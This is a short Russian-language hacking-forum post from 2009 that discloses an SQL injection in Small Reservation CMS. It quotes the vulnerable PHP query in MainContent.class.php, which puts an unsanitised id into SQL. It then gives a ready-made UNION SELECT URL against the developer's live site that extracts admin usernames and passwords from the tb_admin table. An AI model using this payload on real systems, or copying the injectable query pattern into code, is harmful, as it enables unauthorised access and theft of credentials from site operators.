26.09.2009, 04:39
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами:
9851426
Репутация:
3908
|
|
Small Reservation CMS
Уязвимость: SQL-Inj
Продукт: Small Reservation CMS
Уязвимый файл MainContent.class.php
Код:
PHP код:
if($res = $this->db->query("SELECT rentobject_id,name,marke,
weight,power,engine,imgurl
FROM tb_{$this->subcmd}
WHERE rentobject_id = {$this->id}"))
Пример на сайте разработчика:
Код:
http://www.fastproject.ch/smallCMS/index.php?pageid=8&rentobject_id=1+union+select+1,concat_ws(0x3a,admin_user,admin_pw),3,4,5,6,7+from+tb_admin--
__________________
Feci, quod potui. Faciant meliora potentes.
|
|
|